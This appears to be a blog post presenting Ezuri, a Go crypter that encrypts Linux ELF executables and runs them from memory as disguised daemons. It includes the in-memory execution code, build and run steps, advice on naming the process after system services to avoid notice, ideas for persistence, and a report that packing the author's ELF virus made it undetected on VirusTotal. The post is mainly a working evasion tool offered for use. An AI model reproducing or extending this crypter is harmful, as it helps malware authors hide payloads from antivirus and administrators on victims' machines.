# Linux ELF Runtime Crypter

guitmz.com/linux-elf-runtime-crypter

Guilherme Thomazi

April 26, 2019

"Even for Elves, they were stealthy little twerps. They'd taken our measure before we'd even seen them." — Marshall Volnikov

Last month I wrote a post about the `memfd_create` syscall and left some ideas in the end. Today I'm here to show an example of such ideas implemented in an ELF runtime crypter (kinda lame, I know, but good for this demonstration).

## What is it?

Glad you asked. `Ezuri` is a small `Go` crypter that uses `AES` to encrypt a given file and merges it with a stub that will decrypt and execute the file from memory (using the previously mentioned `memfd_create` syscall). My original goal was to write it in `Assembly` but that would require more time so it is a task for the future.

It will also do some basic tricks during the process execution, making it a little bit harder to be detected by an inexperienced eye. The main trick consists on *daemonizing* the process, detaching it from a `tty` , having it to run in the background (and as I said, from memory). If you are not familiar with daemons, you can find more information here.

As usual, the full source code with more instructions can be found in my GitHub: https://github.com/guitmz/ezuri

It's also worth mentioning that it **ONLY** works on **64 bits Linux** systems, but you can easily adapt the code if necessary, I'm just lazy.

## Where the magic happens

Remember this function from my last post?

```
func runFromMemory(displayName string, filePath string) {
        fdName := "" // *string cannot be initialized
        fd, _, _ := syscall.Syscall(memfdCreate, uintptr(unsafe.Pointer(&fdName)),
uintptr(mfdCloexec), 0)

        buffer, _ := ioutil.ReadFile(filePath)
        _, _ = syscall.Write(int(fd), buffer)

        fdPath := fmt.Sprintf("/proc/self/fd/%d", fd)
        _ = syscall.Exec(fdPath, []string{displayName}, nil)
}
```

That’s right, with some small adjustments, we can achieve our goal of running the target executable as a daemon:

```
func runFromMemory(procName string, buffer []byte) {
        fdName := "" // *string cannot be initialized

        fd, _, _ := syscall.Syscall(memfdCreateX64, uintptr(unsafe.Pointer(&fdName)),
uintptr(mfdCloexec), 0)
        _, _ = syscall.Write(int(fd), buffer)

        fdPath := fmt.Sprintf("/proc/self/fd/%d", fd)

        switch child, _, _ := syscall.Syscall(fork, 0, 0, 0); child {
        case 0:
                break
        case 1:
                // Fork failed!
                break
        default:
                // Parent exiting...
                os.Exit(0)
        }

        _ = syscall.Umask(0)
        _, _ = syscall.Setsid()
        _ = syscall.Chdir("/")

        file, _ := os.OpenFile("/dev/null", os.O_RDWR, 0)
        syscall.Dup2(int(file.Fd()), int(os.Stdin.Fd()))
        file.Close()

        _ = syscall.Exec(fdPath, []string{procName}, nil)
}
```

No proper error handling at this time (told you I was lazy).

You will need `Go` and `GCC` installed and configured in your machine to proceed with the next section if you want to try `Ezuri` yourself.

## See it in action

Let’s see this thing working then. A small `C` program will be used as a target executable here. The program will write a little *demon* into a file named `log.txt` in the current directory every second for as long as it’s running, because we are dealing with *daemons*! Got it? *Demon, daemon*…

Bad jokes aside, here’s the code:

```
#include <stdio.h>

int main(int argc, char ** argv) {
  FILE * fp = fopen("/tmp/log.txt", "w+");
  while (1) {
    sleep(1);
    fprintf(fp, "I always wanted to be a DAEMON!\n");
    fprintf(fp, "  |\\___/|\n");
    fprintf(fp, " /       \\\n");
    fprintf(fp, "|    /\\__/|\n");
    fprintf(fp, "||\\  <.><.>\n");
    fprintf(fp, "| _     > )\n");
    fprintf(fp, " \\   /----\n");
    fprintf(fp, "  |   -\\/\n");
    fprintf(fp, " /     \\\n\n");
    fprintf(fp, "Wait, something is not right...\n");
    fflush(fp);
  }
  fclose(fp);
  return 0;
}
```

Building `demon.c`:

$ gcc demon.c -o demon

We should also build `Ezuri`, running the following from inside of the folder that contains its source code:

$ go build -o ezuri .

The `stub` will be compiled during the crypter execution. After you enter your desired parameters like below:

```
$ ./ezuri
[?] Path of file to be encrypted: demon
[?] Path of output (encrypted) file: cryptedDemon
[?] Name of the target process: DEMON
[?] Encryption key (32 bits - random if empty):
[?] Encryption IV (16 bits - random if empty):

[!] Random encryption key (used in stub): R@7ya3fo1#y67rCtNOYwpm5lyOA5xeYY
[!] Random encryption IV (used in stub): 5Ti65dgBKidm5%sA
[!] Generating stub...
```

I chose to let `Ezuri` generate a encryption key for me but feel free to enter your own if you wish.

Now you should have a file named `cryptedDemon` in your current directory. This file contains the `stub + demon (encrypted)` executables (in this order, actually).

Execute `cryptedDemon` and inspect its process:

```
$ ./cryptedDemon
$ ps -f $(pidof DEMON)
UID        PID  PPID  C STIME TTY      STAT   TIME CMD
guitmz   18607     1  0 18:11 ?        Ss     0:00 DEMON
```

Note that this time, you have `?` for the `tty`, which means that the process is detached from any terminals and running in the background.

If you check `/tmp/log.txt` file, you should see a bunch of little demons being inserted into the file like this:

```
$ tailf /tmp/log.txt
I always wanted to be a DAEMON!
  |\___/|
 /       \
|    /\__/|
||\  <.><.>
| _     > )
 \   /----
  |   -\/
 /     \

Wait, something is not right...
```

Finally, don’t forget to kill your test process:

$ kill $(pidof DEMON)

## Final thoughts

If you give your process a proper name (something related to an actual Linux process, like `firewalld`, `apparmor` or even `xorg`), it can be difficult to spot your executable.

Additionally, further work on this project can make it even more realiable (for example, making reverse engineering of your commercial software more difficult). A few thoughts:

- Deamon responding to *process signals* (such as SIGHUP, SIGKILL, etc) to restart its process if killed, for example. I may write a post about it in the future as I have already wrote some code that takes advantage of this.
- Play around with the encryption method, the keys (like using multiple keys, removing the key from the stub somehow) and so on.
- Something like autostarting with every user login could also be implemented.

Those are all basic ideas. `memfd_create` has a lot of potential and can be combined with multiple techniques other than a simple crypter/dropper.

***Update***: I have packed my latest ELF prepender Linux.Cephei with `Ezuri` and uploaded to VirusTotal. Results are below:

*Unpacked Linux.Cephei*: https://www.virustotal.com/gui/file/35308b8b770d2d4f78299262f595a0769e55152cb432d0efc42292db01609a18/detection

*Packed Linux.Cephei*: https://www.virustotal.com/gui/file/ddbb714157f2ef91c1ec350cdf1d1f545290967f61491404c81b4e6e52f5c41f/detection

So as of today (May 2nd 2019), the `Ezuri` stub is undetected.

TMZ